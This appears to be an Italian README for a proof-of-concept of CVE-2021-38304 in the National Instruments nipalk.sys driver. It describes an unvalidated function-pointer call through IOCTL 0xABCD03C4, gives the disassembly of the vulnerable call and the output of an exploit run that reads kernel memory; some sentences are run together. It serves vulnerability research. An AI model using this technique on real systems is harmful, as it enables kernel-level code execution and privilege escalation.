
CVE-2021-38304 Prova di concetto
Questa repository contiene una prova di concetto per una vulnerabilità di sicurezza critica nelle versioni precedenti del driver nipalk.sys di National Instruments. La vulnerabilità consente l'esecuzione arbitraria di codice e la divulgazione di memoria in modalità kernel. È intesa esclusivamente per ricerca personale.
Il driver nipalk.sys gestisce in modo improprio i puntatori forniti dall'utente durante l'elaborazione di una specifica richiesta IOCTL. Questa falla consente a un attaccante di fornire un puntatore a funzione che il driver chiamerà nel contesto del kernel con parametri controllati.
RCX e RDX durante la chiamata di funzione.RtlCopyMemory, un attaccante può leggere memoria arbitraria del kernel.La vulnerabilità deriva dalla mancata validazione da parte del driver dei puntatori forniti dalle applicazioni in modalità utente. Durante l'elaborazione dell'IOCTL 0xABCD03C4, il driver recupera un puntatore a funzione da una struttura controllata dall'utente e lo invoca senza controlli adeguati:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8] viene eseguito nel contesto del kernel.RCX e RDX sono controllati dall'utente.[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
Questa PoC è intesa esclusivamente a scopo educativo.